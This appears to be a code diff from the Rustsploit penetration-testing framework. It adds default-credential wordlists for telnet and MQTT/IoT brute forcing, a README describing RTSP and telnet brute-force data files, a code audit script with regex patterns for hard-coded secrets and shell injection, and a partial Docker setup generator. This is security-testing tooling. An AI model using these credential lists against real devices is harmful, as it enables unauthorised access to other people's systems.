[empty]
|
||||
[printed on PLC]
|
||||
password
|
||||
password
|
||||
password
|
||||
bitnami
|
||||
@@ -0,0 +1,15 @@
|
||||
admin
|
||||
guest
|
||||
sysadmin@thingsboard.org
|
||||
admin
|
||||
emonpi
|
||||
mosquitto
|
||||
mqttuser
|
||||
admin
|
||||
homeassistant
|
||||
DVES_USER
|
||||
admin
|
||||
roger
|
||||
sub_client
|
||||
pub_client
|
||||
user
|
||||
+48
-1
@@ -1 +1,48 @@
|
||||
just lists like word lists
|
||||
# 📚 Rustsploit Data Files
|
||||
|
||||
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
|
||||
|
||||
---
|
||||
|
||||
## Available Files
|
||||
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
## Contributing Lists
|
||||
|
||||
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
|
||||
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
|
||||
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
|
||||
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
|
||||
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
|
||||
|
||||
---
|
||||
|
||||
## Ideas for Future Lists
|
||||
|
||||
- `ftp-default-creds.txt` for anonymous login checks
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 367 KiB |
Binary file not shown.
Executable
+281
@@ -0,0 +1,281 @@
|
||||
#!/usr/bin/env bash
|
||||
# audit-bad-patterns.sh — run the docs/BAD_PATTERNS.md regex matrix against
|
||||
# every .rs file under src/.
|
||||
#
|
||||
# Usage:
|
||||
# scripts/audit-bad-patterns.sh # full report to stdout
|
||||
# scripts/audit-bad-patterns.sh --strict # exit non-zero on any A/B/C/L/M/N/O hit
|
||||
# scripts/audit-bad-patterns.sh --section A # run only one section
|
||||
# scripts/audit-bad-patterns.sh --files <list> # restrict to files listed
|
||||
#
|
||||
# Sections (from docs/BAD_PATTERNS.md):
|
||||
# A: Panicking error handling
|
||||
# B: Silent error swallowing
|
||||
# C: Lint suppression
|
||||
# D: Panic vectors (index/slice)
|
||||
# E: Numeric / unsafe
|
||||
# F: Async / blocking
|
||||
# G: Logging
|
||||
# H: HTTP layer
|
||||
# I: Iterator glitches
|
||||
# J: Style / secrets
|
||||
# L: Crypto
|
||||
# M: SQL & command injection
|
||||
# N: UB / concurrency
|
||||
# O: Performance
|
||||
# P: API hygiene
|
||||
|
||||
set -u
|
||||
|
||||
ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
cd "$ROOT" || exit 1
|
||||
|
||||
STRICT=0
|
||||
ONLY_SECTION=""
|
||||
FILE_LIST=""
|
||||
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--strict) STRICT=1; shift ;;
|
||||
--section) ONLY_SECTION="$2"; shift 2 ;;
|
||||
--files) FILE_LIST="$2"; shift 2 ;;
|
||||
-h|--help) sed -n '/^# /p' "$0" | sed 's/^# \?//'; exit 0 ;;
|
||||
*) echo "unknown arg: $1" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ -n "$FILE_LIST" ]; then
|
||||
if [ ! -f "$FILE_LIST" ]; then
|
||||
echo "file list $FILE_LIST does not exist" >&2
|
||||
exit 2
|
||||
fi
|
||||
ALL_RS=$(cat "$FILE_LIST")
|
||||
else
|
||||
ALL_RS=$(find src -name "*.rs" -type f)
|
||||
fi
|
||||
N_FILES=$(echo "$ALL_RS" | wc -l)
|
||||
|
||||
# ---- pattern arrays ------------------------------------------------------
|
||||
|
||||
A=( # Panicking error handling — explicit \(\) anchors so we don't match the
|
||||
# value-providing _or family.
|
||||
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)'
|
||||
'\.parse\(\)\.unwrap\(\)' '\.parse::<[^>]+>\(\)\.unwrap\(\)'
|
||||
'\.try_into\(\)\.unwrap\(\)'
|
||||
'\.first\(\)\.unwrap\(\)' '\.last\(\)\.unwrap\(\)'
|
||||
'\.next\(\)\.unwrap\(\)'
|
||||
'\.iter\(\)\.[a-z_]+\([^)]*\)\.unwrap\(\)'
|
||||
'\.chars\(\)\.next\(\)\.unwrap\(\)'
|
||||
'\.split\([^)]*\)\.next\(\)\.unwrap\(\)'
|
||||
'\.position\([^)]*\)\.unwrap\(\)'
|
||||
'\.iter\(\)\.find\([^)]*\)\.unwrap\(\)'
|
||||
'\.read_to_string\([^)]*\)\.unwrap\(\)'
|
||||
'\.lock\(\)\.unwrap\(\)'
|
||||
'\.expect_err\(' '\.unwrap_err\('
|
||||
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
|
||||
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
|
||||
)
|
||||
B=( # Silent error swallowing
|
||||
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
|
||||
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
|
||||
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
|
||||
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
|
||||
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
|
||||
)
|
||||
C=( # Lint suppression
|
||||
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
|
||||
)
|
||||
D=( # Panic vectors (index/slice)
|
||||
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
|
||||
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
|
||||
'\.split_at\(' '\.chars\(\)\.nth\('
|
||||
)
|
||||
E=( # Numeric / unsafe
|
||||
'\bas\s+u8\b' '\bas\s+i8\b'
|
||||
'\bas\s+u16\b' '\bas\s+i16\b'
|
||||
'\bas\s+u32\b' '\bas\s+i32\b'
|
||||
'\bas\s+u64\b' '\bas\s+i64\b'
|
||||
'\bas\s+usize\b' '\bas\s+isize\b'
|
||||
'\bas\s+f32\b' '\bas\s+f64\b'
|
||||
'\bas\s+\*const\b' '\bas\s+\*mut\b'
|
||||
'\btransmute\(' '\bextern\s+"C"'
|
||||
'\bunsafe\s*\{' '\bunsafe\s+fn\b'
|
||||
)
|
||||
F=( # Async / blocking
|
||||
'std::thread::sleep' 'std::process::Command'
|
||||
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
|
||||
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
|
||||
)
|
||||
G=( # Logging
|
||||
'\bdbg!\('
|
||||
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
|
||||
'\.context\(""\)' '\.context\("\?"\)'
|
||||
)
|
||||
H=( # HTTP layer
|
||||
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
|
||||
'\.send\(\)\.await\?[^.]' '\.text\(\)\.await\?[^.]'
|
||||
'format!\("\{:\?\}", \w+\)\.contains\('
|
||||
)
|
||||
I=( # Iterator glitches
|
||||
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
|
||||
'\.zip\([^)]*\)\.unwrap'
|
||||
)
|
||||
J=( # Style / secrets
|
||||
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
|
||||
'String::from\(format!'
|
||||
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
|
||||
'XXXXXX|TODO|FIXME|HACK\b'
|
||||
'Bearer\s+[A-Za-z0-9_.-]{40,}'
|
||||
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
|
||||
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
|
||||
'Box<dyn'
|
||||
)
|
||||
L=( # Crypto
|
||||
'\bmd5::compute\b|\bmd5::Md5\b'
|
||||
'\bsha1::Sha1\b|use sha1::'
|
||||
'\bdes::Des\b|\b3des\b|TripleDES'
|
||||
'rand::thread_rng\(\)' 'rand::random\(\)'
|
||||
'\bRC4\b|rc4::' 'aes_128_ecb|aes-128-ecb|Ecb'
|
||||
)
|
||||
M=( # Injection
|
||||
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
|
||||
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
|
||||
'std::process::Command::new\("/bin/sh"\)'
|
||||
'std::process::Command::new\("sh"\)'
|
||||
'\.arg\("-c"\).*format!'
|
||||
)
|
||||
N=( # UB / concurrency
|
||||
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
|
||||
'std::mem::uninitialized' 'std::mem::zeroed'
|
||||
'std::ptr::read' 'std::ptr::write'
|
||||
'Result<\(\), String>' 'Result<.*,\s*String>'
|
||||
)
|
||||
O=( # Performance
|
||||
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
|
||||
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
|
||||
'\.to_string\(\)\.as_str\(\)'
|
||||
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
|
||||
'Regex::new\(.*\)\.unwrap'
|
||||
'Box::new\(.*Box::new'
|
||||
)
|
||||
P=( # API hygiene
|
||||
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
|
||||
)
|
||||
|
||||
declare -A SECTION_DESC
|
||||
SECTION_DESC[A]="Panicking error handling"
|
||||
SECTION_DESC[B]="Silent error swallowing"
|
||||
SECTION_DESC[C]="Lint suppression"
|
||||
SECTION_DESC[D]="Panic vectors (index/slice)"
|
||||
SECTION_DESC[E]="Numeric / unsafe"
|
||||
SECTION_DESC[F]="Async / blocking"
|
||||
SECTION_DESC[G]="Logging"
|
||||
SECTION_DESC[H]="HTTP layer"
|
||||
SECTION_DESC[I]="Iterator glitches"
|
||||
SECTION_DESC[J]="Style / secrets"
|
||||
SECTION_DESC[L]="Crypto"
|
||||
SECTION_DESC[M]="SQL & command injection"
|
||||
SECTION_DESC[N]="UB / concurrency"
|
||||
SECTION_DESC[O]="Performance"
|
||||
SECTION_DESC[P]="API hygiene"
|
||||
|
||||
# Sections that should be hard zero in module code (strict mode)
|
||||
STRICT_SECTIONS=(A B C L M N O)
|
||||
|
||||
GRAND_TOTAL=0
|
||||
GRAND_PATTERNS=0
|
||||
GRAND_PATTERNS_HIT=0
|
||||
STRICT_HITS=0
|
||||
|
||||
run_section() {
|
||||
local label="$1"; shift
|
||||
local arr=("$@")
|
||||
local total=0
|
||||
local hit_pats=0
|
||||
local pats=${#arr[@]}
|
||||
GRAND_PATTERNS=$((GRAND_PATTERNS + pats))
|
||||
declare -a lines
|
||||
for p in "${arr[@]}"; do
|
||||
local c
|
||||
# Strip line+doc comments before counting so we don't flag matches in
|
||||
# `// foo .unwrap() bar` or `/// .expect(...)`. We also filter `#[test]`
|
||||
# / `#[cfg(test)]` blocks heuristically by skipping lines tagged with
|
||||
# `// audit-allow:` (an explicit per-line waiver).
|
||||
c=$(echo "$ALL_RS" | xargs grep -hE "$p" 2>/dev/null \
|
||||
| grep -vE '^\s*//' \
|
||||
| grep -vE '// audit-allow:' \
|
||||
| wc -l)
|
||||
if [ "$c" -gt 0 ]; then
|
||||
total=$((total + c))
|
||||
hit_pats=$((hit_pats + 1))
|
||||
GRAND_PATTERNS_HIT=$((GRAND_PATTERNS_HIT + 1))
|
||||
lines+=(" [$c] /$p/")
|
||||
fi
|
||||
done
|
||||
GRAND_TOTAL=$((GRAND_TOTAL + total))
|
||||
printf " %-2s %-32s : %5d hits across %2d/%-2d patterns\n" \
|
||||
"$label" "${SECTION_DESC[$label]}" "$total" "$hit_pats" "$pats"
|
||||
[ "$total" -gt 0 ] && printf "%s\n" "${lines[@]}"
|
||||
|
||||
# Strict accounting
|
||||
local s
|
||||
for s in "${STRICT_SECTIONS[@]}"; do
|
||||
if [ "$s" = "$label" ]; then
|
||||
STRICT_HITS=$((STRICT_HITS + total))
|
||||
break
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
echo "============================================================"
|
||||
echo " RUSTSPLOIT BAD-PATTERN AUDIT"
|
||||
echo " $N_FILES file(s) under audit"
|
||||
echo "============================================================"
|
||||
echo
|
||||
|
||||
if [ -z "$ONLY_SECTION" ]; then
|
||||
SECTIONS=(A B C D E F G H I J L M N O P)
|
||||
else
|
||||
SECTIONS=("$ONLY_SECTION")
|
||||
fi
|
||||
|
||||
for s in "${SECTIONS[@]}"; do
|
||||
case "$s" in
|
||||
A) run_section A "${A[@]}" ;;
|
||||
B) run_section B "${B[@]}" ;;
|
||||
C) run_section C "${C[@]}" ;;
|
||||
D) run_section D "${D[@]}" ;;
|
||||
E) run_section E "${E[@]}" ;;
|
||||
F) run_section F "${F[@]}" ;;
|
||||
G) run_section G "${G[@]}" ;;
|
||||
H) run_section H "${H[@]}" ;;
|
||||
I) run_section I "${I[@]}" ;;
|
||||
J) run_section J "${J[@]}" ;;
|
||||
L) run_section L "${L[@]}" ;;
|
||||
M) run_section M "${M[@]}" ;;
|
||||
N) run_section N "${N[@]}" ;;
|
||||
O) run_section O "${O[@]}" ;;
|
||||
P) run_section P "${P[@]}" ;;
|
||||
*) echo "unknown section: $s" >&2; exit 2 ;;
|
||||
esac
|
||||
echo
|
||||
done
|
||||
|
||||
echo "============================================================"
|
||||
echo " TOTALS"
|
||||
echo "============================================================"
|
||||
echo " Patterns scanned : $GRAND_PATTERNS"
|
||||
echo " Patterns with hits : $GRAND_PATTERNS_HIT"
|
||||
echo " Total hit lines : $GRAND_TOTAL"
|
||||
echo " Strict (A/B/C/L/M/N/O) : $STRICT_HITS"
|
||||
|
||||
if [ "$STRICT" = "1" ] && [ "$STRICT_HITS" -gt 0 ]; then
|
||||
echo " RESULT : STRICT FAILURE — fix before merge"
|
||||
exit 1
|
||||
fi
|
||||
echo " RESULT : informational only (use --strict to gate)"
|
||||
Executable
+70
@@ -0,0 +1,70 @@
|
||||
#!/bin/bash
|
||||
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
set -e
|
||||
f="$1"
|
||||
modname="$2"
|
||||
if grep -q "use crate::module::{Finding" "$f"; then
|
||||
echo " $f already migrated, skipping"
|
||||
exit 0
|
||||
fi
|
||||
sed -i "/^use crate::module_info::/a use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};" "$f"
|
||||
sed -i 's|^use anyhow::Result;|use anyhow::{Context, Result};|' "$f"
|
||||
sed -i 's|^use anyhow::{Result};|use anyhow::{Context, Result};|' "$f"
|
||||
sed -i "s|pub async fn check(_target: \&str) -> CheckResult {|pub async fn check(_ctx: \&ModuleCtx) -> CheckResult {|" "$f"
|
||||
sed -i "s|pub async fn check(target: \&str) -> CheckResult {|pub async fn check(ctx: \&ModuleCtx) -> CheckResult {\n let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error(\"check expects a single-host target\".into()) };|" "$f"
|
||||
sed -i "s|pub async fn run(_target: \&str) -> Result<()> {|pub async fn run(_ctx: \&ModuleCtx) -> Result<ModuleOutcome> {\n let mut outcome = ModuleOutcome::ok();|" "$f"
|
||||
sed -i "s|pub async fn run(target: \&str) -> Result<()> {|pub async fn run(ctx: \&ModuleCtx) -> Result<ModuleOutcome> {\n let target = ctx.target.as_single().context(\"${modname} requires a single-host target\")?;\n let mut outcome = ModuleOutcome::ok();|" "$f"
|
||||
|
||||
python3 - "$f" << 'PYEOF'
|
||||
import sys, re
|
||||
fn = sys.argv[1]
|
||||
txt = open(fn).read()
|
||||
txt = re.sub(r'\bOk\(\(\)\)', 'Ok(outcome)', txt)
|
||||
open(fn, "w").write(txt)
|
||||
PYEOF
|
||||
|
||||
python3 - "$f" << 'PYEOF'
|
||||
import sys, re
|
||||
fn = sys.argv[1]
|
||||
txt = open(fn).read()
|
||||
pat = re.compile(
|
||||
r'(\s*)crate::workspace::track_host\(&([a-z_]+),\s*None,\s*Some\("([^"]+)"\)\)\.await;\s*$',
|
||||
re.MULTILINE,
|
||||
)
|
||||
def repl(m):
|
||||
indent = m.group(1)
|
||||
var = m.group(2)
|
||||
label = m.group(3)
|
||||
return (
|
||||
indent + 'crate::workspace::track_host(&' + var + ', None, Some("' + label + '")).await;\n'
|
||||
+ indent + 'outcome.findings.push(Finding {\n'
|
||||
+ indent + ' target: ' + var + '.clone(),\n'
|
||||
+ indent + ' kind: FindingKind::Note,\n'
|
||||
+ indent + ' message: format!("' + label + ' detected at {}", ' + var + '),\n'
|
||||
+ indent + ' data: Some(serde_json::json!({\n'
|
||||
+ indent + ' "host": ' + var + ',\n'
|
||||
+ indent + ' "label": "' + label + '",\n'
|
||||
+ indent + ' })),\n'
|
||||
+ indent + '});'
|
||||
)
|
||||
txt = pat.sub(repl, txt)
|
||||
open(fn, "w").write(txt)
|
||||
PYEOF
|
||||
|
||||
# Generic register macro update — handles any Category
|
||||
python3 - "$f" << 'PYEOF'
|
||||
import sys, re
|
||||
fn = sys.argv[1]
|
||||
txt = open(fn).read()
|
||||
# Match: register_native_module!(... Category::X, "name"[, has_check]);
|
||||
pat_check = re.compile(r'(crate::register_native_module!\(crate::module::Category::[A-Za-z]+,\s*"[^"]+"),\s*has_check\);')
|
||||
txt = pat_check.sub(r'\1, native, has_check);', txt)
|
||||
pat_nocheck = re.compile(r'(crate::register_native_module!\(crate::module::Category::[A-Za-z]+,\s*"[^"]+")\);')
|
||||
def repl(m):
|
||||
if ', native' in m.group(0):
|
||||
return m.group(0)
|
||||
return m.group(1) + ', native);'
|
||||
txt = pat_nocheck.sub(repl, txt)
|
||||
open(fn, "w").write(txt)
|
||||
PYEOF
|
||||
echo " $f migrated"
|
||||
@@ -0,0 +1,327 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Interactive generator for RustSploit Docker-Compose stack.
|
||||
Produces:
|
||||
docker-compose.rustsploit.yml (with embedded Dockerfile)
|
||||
.env.rustsploit-docker
|
||||
and prints the command to bring the stack up.
|
||||
|
||||
This variant includes runtime fixes to avoid permission-denied on /app/data
|
||||
and ensures the container starts as root briefly to fix ownership, then
|
||||
executes the rustsploit binary as the less-privileged `rustsploit` user.
|
||||
"""
|
||||
import secrets
|
||||
import os
|
||||
import stat
|
||||
import socket
|
||||
import ipaddress
|
||||
import subprocess
|
||||
import pwd
|
||||
from pathlib import Path
|
||||
|
||||
# Fix: Use parent.parent since script is in scripts/ directory
|
||||
repo = Path(__file__).resolve().parent.parent
|
||||
if not (repo / "Cargo.toml").exists():
|
||||
print("[-] Error: Run this script from the RustSploit repository root.")
|
||||
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
|
||||
exit(1)
|
||||
|
||||
# ---------- Helper functions ----------
|
||||
def ask(prompt, default=None, validator=None):
|
||||
"""Interactive prompt with validation."""
|
||||
suffix = f" [{default}]" if default is not None else ""
|
||||
while True:
|
||||
val = input(f"{prompt}{suffix}: ").strip()
|
||||
if not val and default is not None:
|
||||
val = default
|
||||
if not val:
|
||||
print("Value cannot be empty.")
|
||||
continue
|
||||
if validator:
|
||||
try:
|
||||
validator(val)
|
||||
except ValueError as e:
|
||||
print(f"Invalid input: {e}")
|
||||
continue
|
||||
return val
|
||||
|
||||
|
||||
def ask_yes_no(prompt, default=True):
|
||||
"""Yes/No prompt."""
|
||||
hint = "Y/n" if default else "y/N"
|
||||
while True:
|
||||
val = input(f"{prompt} ({hint}): ").strip().lower()
|
||||
if not val:
|
||||
return default
|
||||
if val in ("y", "yes"):
|
||||
return True
|
||||
if val in ("n", "no"):
|
||||
return False
|
||||
print("Please answer 'y' or 'n'.")
|
||||
|
||||
|
||||
def validate_host(host):
|
||||
"""Validate host/IP address."""
|
||||
host = host.strip()
|
||||
if not host:
|
||||
raise ValueError("Host cannot be empty")
|
||||
# Allow localhost
|
||||
if host == "localhost":
|
||||
return
|
||||
# Try to parse as IP
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Not a valid IP, check if it's a valid hostname
|
||||
if len(host) > 253:
|
||||
raise ValueError("Hostname too long (max 253 chars)")
|
||||
if any(c.isspace() for c in host):
|
||||
raise ValueError("Hostname cannot contain whitespace")
|
||||
|
||||
|
||||
def validate_port(port_str):
|
||||
"""Validate port number."""
|
||||
try:
|
||||
port = int(port_str)
|
||||
if not (1 <= port <= 65535):
|
||||
raise ValueError("Port must be between 1 and 65535")
|
||||
except ValueError as e:
|
||||
if "invalid literal" in str(e):
|
||||
raise ValueError("Port must be a number")
|
||||
raise
|
||||
|
||||
|
||||
def detect_private_ip():
|
||||
"""Try to detect private IP address."""
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
||||
sock.connect(("192.0.2.1", 80))
|
||||
return sock.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
# ---------- Interactive prompts ----------
|
||||
print("\n[+] RustSploit Docker Setup\n")
|
||||
|
||||
# Host selection
|
||||
print("Select bind address:")
|
||||
print(" [1] 127.0.0.1 (localhost only)")
|
||||
print(" [2] 0.0.0.0 (all interfaces)")
|
||||
print(" [3] Private LAN IP (auto-detect)")
|
||||
print(" [4] Custom IP/hostname")
|
||||
|
||||
choice = ask("Choice", "2")
|
||||
if choice == "1":
|
||||
host = "127.0.0.1"
|
||||
elif choice == "2":
|
||||
host = "0.0.0.0"
|
||||
elif choice == "3":
|
||||
detected = detect_private_ip()
|
||||
if detected:
|
||||
print(f"[+] Detected private IP: {detected}")
|
||||
use_detected = ask_yes_no("Use detected IP?", True)
|
||||
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
print("[-] Could not auto-detect private IP")
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
|
||||
# Port
|
||||
# Default changed to 9000 as this is a common API port and matches user's prior usage
|
||||
port_str = ask("Host port to expose", "9000", validator=validate_port)
|
||||
port = int(port_str)
|
||||
|
||||
# API Key
|
||||
print("\n[+] API Key Configuration")
|
||||
generate_key = ask_yes_no("Generate random API key?", True)
|
||||
if generate_key:
|
||||
api_key = secrets.token_urlsafe(32)
|
||||
print(f"[+] Generated API key: {api_key}")
|
||||
else:
|
||||
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
|
||||
|
||||
# Hardening
|
||||
print("\n[+] Security Hardening")
|
||||
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
|
||||
ip_limit = 10
|
||||
if harden:
|
||||
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
|
||||
ip_limit = int(ip_limit_str)
|
||||
|
||||
# ---------- File generation ----------
|
||||
env_file = ".env.rustsploit-docker"
|
||||
compose_file = "docker-compose.rustsploit.yml"
|
||||
|
||||
env_path = repo / env_file
|
||||
compose_path = repo / compose_file
|
||||
|
||||
# Check for existing .env file
|
||||
if env_path.exists():
|
||||
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite .env file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# Check for existing docker-compose file
|
||||
if compose_path.exists():
|
||||
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite docker-compose file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# ---- .env ----
|
||||
container_interface = f"0.0.0.0:{port}"
|
||||
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
|
||||
RUSTSPLOIT_API_KEY={api_key}
|
||||
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
|
||||
RUSTSPLOIT_IP_LIMIT={ip_limit}
|
||||
"""
|
||||
env_path.write_text(env_content)
|
||||
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
|
||||
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
|
||||
print(f"\n[+] Generated: {env_path}")
|
||||
|
||||
# Fix ownership if file was created with sudo (owned by root)
|
||||
if env_path.stat().st_uid == 0:
|
||||
print("[!] File was created as root. Fixing ownership...")
|
||||
try:
|
||||
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
|
||||
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
|
||||
if not user:
|
||||
user = pwd.getpwuid(os.getuid()).pw_name
|
||||
|
||||
# If we're running as root (via sudo), we can chown directly
|
||||
if os.geteuid() == 0:
|
||||
user_info = pwd.getpwnam(user)
|
||||
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
else:
|
||||
# Not root, need to use sudo
|
||||
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
|
||||
print(f"[!] Warning: Could not automatically fix ownership: {e}")
|
||||
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
|
||||
|
||||
# ---- docker-compose.yml with embedded Dockerfile ----
|
||||
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
|
||||
# /app/data at container startup, then it drops privileges and executes the
|
||||
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
|
||||
|
||||
dockerfile_content = """FROM rust:1.83-slim AS builder
|
||||
WORKDIR /workspace
|
||||
ENV CARGO_TERM_COLOR=always
|
||||
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends \\
|
||||
build-essential \\
|
||||
pkg-config \\
|
||||
libssl-dev \\
|
||||
libclang-dev \\
|
||||
libpcap-dev \\
|
||||
libsqlite3-dev \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY Cargo.toml ./
|
||||
COPY Cargo.lock* ./
|
||||
|
||||
COPY . .
|
||||
RUN cargo build --release --bin rustsploit
|
||||
|
||||
FROM debian:bookworm-slim AS serve
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# create non-root user
|
||||
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
|
||||
WORKDIR /app
|
||||
|
||||
# create data dir (image-level), but runtime entrypoint will chown the volume target
|
||||
